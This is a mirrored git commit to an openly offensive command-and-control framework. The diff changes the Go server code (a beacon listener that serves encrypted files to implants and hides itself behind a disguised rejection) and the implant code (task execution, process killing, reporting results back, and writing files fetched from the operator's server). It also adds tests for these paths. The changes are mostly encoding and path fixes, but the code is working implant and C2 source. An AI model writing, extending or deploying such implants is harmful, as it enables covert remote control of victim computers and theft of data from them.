mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-07-31 08:07:29 +02:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,48 @@
|
|||||||
|
package c2
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/base64"
|
||||||
|
"strings"
|
||||||
|
"unicode/utf8"
|
||||||
|
|
||||||
|
"golang.org/x/text/encoding/simplifiedchinese"
|
||||||
|
"golang.org/x/text/transform"
|
||||||
|
)
|
||||||
|
|
||||||
|
// NormalizeConsoleOutput 将 implant/Shell 原始控制台字节转为 UTF-8 文本。
|
||||||
|
// osTag 来自会话的 os 字段(如 windows / Windows 10);空值时按 auto 处理。
|
||||||
|
func NormalizeConsoleOutput(raw []byte, osTag string) string {
|
||||||
|
if len(raw) == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
osTag = strings.ToLower(strings.TrimSpace(osTag))
|
||||||
|
isWindows := strings.Contains(osTag, "windows")
|
||||||
|
|
||||||
|
if utf8.Valid(raw) {
|
||||||
|
return string(raw)
|
||||||
|
}
|
||||||
|
if isWindows {
|
||||||
|
if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
|
||||||
|
return string(out)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 非 Windows 或解码失败:GB18030 兜底(覆盖 GBK)
|
||||||
|
if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
|
||||||
|
return string(out)
|
||||||
|
}
|
||||||
|
return string(raw)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResolveTaskResultText 合并 beacon 回传的 Output/OutputB64(及 Error/ErrorB64),按会话 OS 解码。
|
||||||
|
func ResolveTaskResultText(plain, b64, sessionOS string) string {
|
||||||
|
if strings.TrimSpace(b64) != "" {
|
||||||
|
raw, err := base64.StdEncoding.DecodeString(strings.TrimSpace(b64))
|
||||||
|
if err == nil {
|
||||||
|
return NormalizeConsoleOutput(raw, sessionOS)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if plain == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
return NormalizeConsoleOutput([]byte(plain), sessionOS)
|
||||||
|
}
|
||||||
@@ -0,0 +1,51 @@
|
|||||||
|
package c2
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/base64"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"golang.org/x/text/encoding/simplifiedchinese"
|
||||||
|
"golang.org/x/text/transform"
|
||||||
|
)
|
||||||
|
|
||||||
|
func mustGBK(t *testing.T, s string) []byte {
|
||||||
|
t.Helper()
|
||||||
|
out, _, err := transform.Bytes(simplifiedchinese.GBK.NewEncoder(), []byte(s))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNormalizeConsoleOutput_WindowsGBK(t *testing.T) {
|
||||||
|
raw := mustGBK(t, "中文测试")
|
||||||
|
got := NormalizeConsoleOutput(raw, "windows")
|
||||||
|
if got != "中文测试" {
|
||||||
|
t.Fatalf("got %q want 中文测试", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNormalizeConsoleOutput_UTF8Passthrough(t *testing.T) {
|
||||||
|
raw := []byte("hello 世界")
|
||||||
|
got := NormalizeConsoleOutput(raw, "linux")
|
||||||
|
if got != "hello 世界" {
|
||||||
|
t.Fatalf("got %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveTaskResultText_PrefersB64(t *testing.T) {
|
||||||
|
raw := mustGBK(t, "采购订单")
|
||||||
|
b64 := base64.StdEncoding.EncodeToString(raw)
|
||||||
|
got := ResolveTaskResultText("", b64, "windows")
|
||||||
|
if got != "采购订单" {
|
||||||
|
t.Fatalf("got %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestResolveTaskResultText_PlainFallback(t *testing.T) {
|
||||||
|
raw := mustGBK(t, "测试")
|
||||||
|
got := ResolveTaskResultText(string(raw), "", "windows")
|
||||||
|
if got != "测试" {
|
||||||
|
t.Fatalf("got %q", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -367,6 +367,7 @@ func (l *HTTPBeaconListener) handleFileServe(w http.ResponseWriter, r *http.Requ
|
|||||||
}
|
}
|
||||||
prefix := l.cfg.BeaconFilePath
|
prefix := l.cfg.BeaconFilePath
|
||||||
taskID := strings.TrimPrefix(r.URL.Path, prefix)
|
taskID := strings.TrimPrefix(r.URL.Path, prefix)
|
||||||
|
taskID = strings.TrimSuffix(taskID, ".bin")
|
||||||
if taskID == "" || strings.Contains(taskID, "/") || strings.Contains(taskID, "\\") || strings.Contains(taskID, "..") {
|
if taskID == "" || strings.Contains(taskID, "/") || strings.Contains(taskID, "\\") || strings.Contains(taskID, "..") {
|
||||||
l.disguisedReject(w)
|
l.disguisedReject(w)
|
||||||
return
|
return
|
||||||
|
|||||||
@@ -2,10 +2,12 @@ package c2
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"bytes"
|
"bytes"
|
||||||
|
"encoding/base64"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"io"
|
"io"
|
||||||
"net"
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
@@ -127,3 +129,101 @@ func TestHTTPBeaconListener_CheckInMatrix(t *testing.T) {
|
|||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestHTTPBeaconListener_HandleFileServe(t *testing.T) {
|
||||||
|
tmp := t.TempDir()
|
||||||
|
dbPath := filepath.Join(tmp, "c2.sqlite")
|
||||||
|
db, err := database.NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = db.Close() })
|
||||||
|
|
||||||
|
lnPick, err := net.Listen("tcp", "127.0.0.1:0")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
port := lnPick.Addr().(*net.TCPAddr).Port
|
||||||
|
_ = lnPick.Close()
|
||||||
|
|
||||||
|
keyB64, err := GenerateAESKey()
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
token := "test-implant-token-file"
|
||||||
|
|
||||||
|
lid := "l_testhttpfile01"
|
||||||
|
rec := &database.C2Listener{
|
||||||
|
ID: lid,
|
||||||
|
Name: "t",
|
||||||
|
Type: string(ListenerTypeHTTPBeacon),
|
||||||
|
BindHost: "127.0.0.1",
|
||||||
|
BindPort: port,
|
||||||
|
EncryptionKey: keyB64,
|
||||||
|
ImplantToken: token,
|
||||||
|
Status: "stopped",
|
||||||
|
ConfigJSON: `{"beacon_file_path":"/file/"}`,
|
||||||
|
CreatedAt: time.Now(),
|
||||||
|
}
|
||||||
|
if err := db.CreateC2Listener(rec); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
store := filepath.Join(tmp, "c2store")
|
||||||
|
m := NewManager(db, zap.NewNop(), store)
|
||||||
|
m.Registry().Register(string(ListenerTypeHTTPBeacon), NewHTTPBeaconListener)
|
||||||
|
if _, err := m.StartListener(lid); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = m.StopListener(lid) })
|
||||||
|
|
||||||
|
fileID := "f_testfile123"
|
||||||
|
downDir := filepath.Join(store, "downstream")
|
||||||
|
if err := os.MkdirAll(downDir, 0o755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
want := []byte("upload-payload-bytes")
|
||||||
|
if err := os.WriteFile(filepath.Join(downDir, fileID+".bin"), want, 0o644); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
base := "http://127.0.0.1:" + strconv.Itoa(port)
|
||||||
|
client := &http.Client{Timeout: 5 * time.Second}
|
||||||
|
|
||||||
|
for _, path := range []string{"/file/" + fileID, "/file/" + fileID + ".bin"} {
|
||||||
|
t.Run(path, func(t *testing.T) {
|
||||||
|
req, _ := http.NewRequest(http.MethodGet, base+path, nil)
|
||||||
|
req.Header.Set("X-Implant-Token", token)
|
||||||
|
resp, err := client.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
b, _ := io.ReadAll(resp.Body)
|
||||||
|
t.Fatalf("status=%d body=%q", resp.StatusCode, b)
|
||||||
|
}
|
||||||
|
raw, err := io.ReadAll(resp.Body)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
plain, err := DecryptAESGCM(keyB64, string(raw))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
var out struct {
|
||||||
|
FileData string `json:"file_data"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(plain, &out); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
got, err := base64.StdEncoding.DecodeString(out.FileData)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if !bytes.Equal(got, want) {
|
||||||
|
t.Fatalf("got %q want %q", got, want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
+12
-4
@@ -638,10 +638,18 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error {
|
|||||||
status = string(TaskFailed)
|
status = string(TaskFailed)
|
||||||
}
|
}
|
||||||
duration := endedAt.Sub(startedAt).Milliseconds()
|
duration := endedAt.Sub(startedAt).Milliseconds()
|
||||||
|
|
||||||
|
sessionOS := ""
|
||||||
|
if sess, serr := m.db.GetC2Session(t.SessionID); serr == nil && sess != nil {
|
||||||
|
sessionOS = sess.OS
|
||||||
|
}
|
||||||
|
resultText := ResolveTaskResultText(report.Output, report.OutputB64, sessionOS)
|
||||||
|
errText := ResolveTaskResultText(report.Error, report.ErrorB64, sessionOS)
|
||||||
|
|
||||||
upd := database.C2TaskUpdate{
|
upd := database.C2TaskUpdate{
|
||||||
Status: &status,
|
Status: &status,
|
||||||
ResultText: &report.Output,
|
ResultText: &resultText,
|
||||||
Error: &report.Error,
|
Error: &errText,
|
||||||
StartedAt: &startedAt,
|
StartedAt: &startedAt,
|
||||||
CompletedAt: &endedAt,
|
CompletedAt: &endedAt,
|
||||||
DurationMS: &duration,
|
DurationMS: &duration,
|
||||||
@@ -661,8 +669,8 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error {
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
t.Status = status
|
t.Status = status
|
||||||
t.ResultText = report.Output
|
t.ResultText = resultText
|
||||||
t.Error = report.Error
|
t.Error = errText
|
||||||
|
|
||||||
level := "info"
|
level := "info"
|
||||||
msg := fmt.Sprintf("任务完成: %s", t.TaskType)
|
msg := fmt.Sprintf("任务完成: %s", t.TaskType)
|
||||||
|
|||||||
@@ -45,6 +45,7 @@ import (
|
|||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
"unicode/utf8"
|
||||||
)
|
)
|
||||||
|
|
||||||
// 编译期注入常量(text/template 替换)
|
// 编译期注入常量(text/template 替换)
|
||||||
@@ -101,7 +102,9 @@ type TaskReport struct {
|
|||||||
TaskID string `json:"task_id"`
|
TaskID string `json:"task_id"`
|
||||||
Success bool `json:"success"`
|
Success bool `json:"success"`
|
||||||
Output string `json:"output,omitempty"`
|
Output string `json:"output,omitempty"`
|
||||||
|
OutputB64 string `json:"output_b64,omitempty"`
|
||||||
Error string `json:"error,omitempty"`
|
Error string `json:"error,omitempty"`
|
||||||
|
ErrorB64 string `json:"error_b64,omitempty"`
|
||||||
BlobBase64 string `json:"blob_b64,omitempty"`
|
BlobBase64 string `json:"blob_b64,omitempty"`
|
||||||
BlobSuffix string `json:"blob_suffix,omitempty"`
|
BlobSuffix string `json:"blob_suffix,omitempty"`
|
||||||
StartedAt int64 `json:"started_at"`
|
StartedAt int64 `json:"started_at"`
|
||||||
@@ -326,16 +329,7 @@ func handleTaskSyncTCP(conn net.Conn, env TaskEnv) {
|
|||||||
defer func() { tcpTaskConn = nil }()
|
defer func() { tcpTaskConn = nil }()
|
||||||
start := time.Now()
|
start := time.Now()
|
||||||
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
|
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
|
||||||
report := TaskReport{
|
report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now())
|
||||||
TaskID: env.TaskID,
|
|
||||||
Success: errMsg == "",
|
|
||||||
Output: output,
|
|
||||||
Error: errMsg,
|
|
||||||
BlobBase64: blobB64,
|
|
||||||
BlobSuffix: blobSuffix,
|
|
||||||
StartedAt: start.UnixMilli(),
|
|
||||||
EndedAt: time.Now().UnixMilli(),
|
|
||||||
}
|
|
||||||
tcpReportResult(conn, report)
|
tcpReportResult(conn, report)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -367,7 +361,8 @@ func fetchC2FileByID(fileID string) ([]byte, error) {
|
|||||||
if tcpTaskConn != nil {
|
if tcpTaskConn != nil {
|
||||||
return tcpFetchEncryptedFile(tcpTaskConn, fileID)
|
return tcpFetchEncryptedFile(tcpTaskConn, fileID)
|
||||||
}
|
}
|
||||||
url := fmt.Sprintf("%s%s%s.bin", serverURL, filePath, fileID)
|
// 服务端 handleFileServe 会在 downstream/<file_id>.bin 读取;URL 路径应为 /file/<file_id>,勿重复 .bin
|
||||||
|
url := fmt.Sprintf("%s%s%s", serverURL, filePath, fileID)
|
||||||
req, _ := http.NewRequest("GET", url, nil)
|
req, _ := http.NewRequest("GET", url, nil)
|
||||||
req.Header.Set("User-Agent", userAgent)
|
req.Header.Set("User-Agent", userAgent)
|
||||||
req.Header.Set("X-Implant-Token", implantToken)
|
req.Header.Set("X-Implant-Token", implantToken)
|
||||||
@@ -635,20 +630,39 @@ func decryptGCM(cipherText string) ([]byte, error) {
|
|||||||
return gcm.Open(nil, nonce, ct, nil)
|
return gcm.Open(nil, nonce, ct, nil)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func encodeReportText(s string) (plain, b64 string) {
|
||||||
|
if s == "" {
|
||||||
|
return "", ""
|
||||||
|
}
|
||||||
|
b := []byte(s)
|
||||||
|
if utf8.Valid(b) {
|
||||||
|
return s, ""
|
||||||
|
}
|
||||||
|
return "", base64.StdEncoding.EncodeToString(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildTaskReport(taskID, output, errMsg, blobB64, blobSuffix string, start, end time.Time) TaskReport {
|
||||||
|
outText, outB64 := encodeReportText(output)
|
||||||
|
errText, errB64 := encodeReportText(errMsg)
|
||||||
|
return TaskReport{
|
||||||
|
TaskID: taskID,
|
||||||
|
Success: errMsg == "",
|
||||||
|
Output: outText,
|
||||||
|
OutputB64: outB64,
|
||||||
|
Error: errText,
|
||||||
|
ErrorB64: errB64,
|
||||||
|
BlobBase64: blobB64,
|
||||||
|
BlobSuffix: blobSuffix,
|
||||||
|
StartedAt: start.UnixMilli(),
|
||||||
|
EndedAt: end.UnixMilli(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func handleTaskAsync(env TaskEnv) {
|
func handleTaskAsync(env TaskEnv) {
|
||||||
defer func() { _ = recover() }()
|
defer func() { _ = recover() }()
|
||||||
start := time.Now()
|
start := time.Now()
|
||||||
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
|
output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
|
||||||
report := TaskReport{
|
report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now())
|
||||||
TaskID: env.TaskID,
|
|
||||||
Success: errMsg == "",
|
|
||||||
Output: output,
|
|
||||||
Error: errMsg,
|
|
||||||
BlobBase64: blobB64,
|
|
||||||
BlobSuffix: blobSuffix,
|
|
||||||
StartedAt: start.UnixMilli(),
|
|
||||||
EndedAt: time.Now().UnixMilli(),
|
|
||||||
}
|
|
||||||
reportResult(report)
|
reportResult(report)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -890,12 +904,26 @@ func taskKillProc(payload map[string]interface{}) (string, string, string, strin
|
|||||||
return "killed", "", "", ""
|
return "killed", "", "", ""
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func normalizeRemotePath(p string) string {
|
||||||
|
p = strings.TrimSpace(p)
|
||||||
|
if p == "" || runtime.GOOS != "windows" {
|
||||||
|
return p
|
||||||
|
}
|
||||||
|
// 控制台可能下发 /d:/path/file(Unix 风格),Windows 需转为 d:\path\file
|
||||||
|
p = strings.ReplaceAll(p, "\\", "/")
|
||||||
|
if len(p) >= 3 && p[0] == '/' && p[2] == ':' {
|
||||||
|
p = p[1:]
|
||||||
|
}
|
||||||
|
return filepath.FromSlash(p)
|
||||||
|
}
|
||||||
|
|
||||||
func taskUpload(payload map[string]interface{}) (string, string, string, string) {
|
func taskUpload(payload map[string]interface{}) (string, string, string, string) {
|
||||||
remotePath, _ := payload["remote_path"].(string)
|
remotePath, _ := payload["remote_path"].(string)
|
||||||
fileID, _ := payload["file_id"].(string)
|
fileID, _ := payload["file_id"].(string)
|
||||||
if remotePath == "" || fileID == "" {
|
if remotePath == "" || fileID == "" {
|
||||||
return "", "", "", "remote_path or file_id empty"
|
return "", "", "", "remote_path or file_id empty"
|
||||||
}
|
}
|
||||||
|
remotePath = normalizeRemotePath(remotePath)
|
||||||
data, err := fetchC2FileByID(fileID)
|
data, err := fetchC2FileByID(fileID)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return "", "", "", err.Error()
|
return "", "", "", err.Error()
|
||||||
|
|||||||
@@ -209,7 +209,9 @@ type TaskResultReport struct {
|
|||||||
TaskID string `json:"task_id"`
|
TaskID string `json:"task_id"`
|
||||||
Success bool `json:"success"`
|
Success bool `json:"success"`
|
||||||
Output string `json:"output,omitempty"`
|
Output string `json:"output,omitempty"`
|
||||||
|
OutputB64 string `json:"output_b64,omitempty"` // 原始控制台字节(base64),避免 JSON 破坏非 UTF-8 输出
|
||||||
Error string `json:"error,omitempty"`
|
Error string `json:"error,omitempty"`
|
||||||
|
ErrorB64 string `json:"error_b64,omitempty"`
|
||||||
BlobBase64 string `json:"blob_b64,omitempty"` // 如截图二进制
|
BlobBase64 string `json:"blob_b64,omitempty"` // 如截图二进制
|
||||||
BlobSuffix string `json:"blob_suffix,omitempty"` // 如 ".png"
|
BlobSuffix string `json:"blob_suffix,omitempty"` // 如 ".png"
|
||||||
StartedAt int64 `json:"started_at"`
|
StartedAt int64 `json:"started_at"`
|
||||||
|
|||||||
Reference in New Issue
Block a user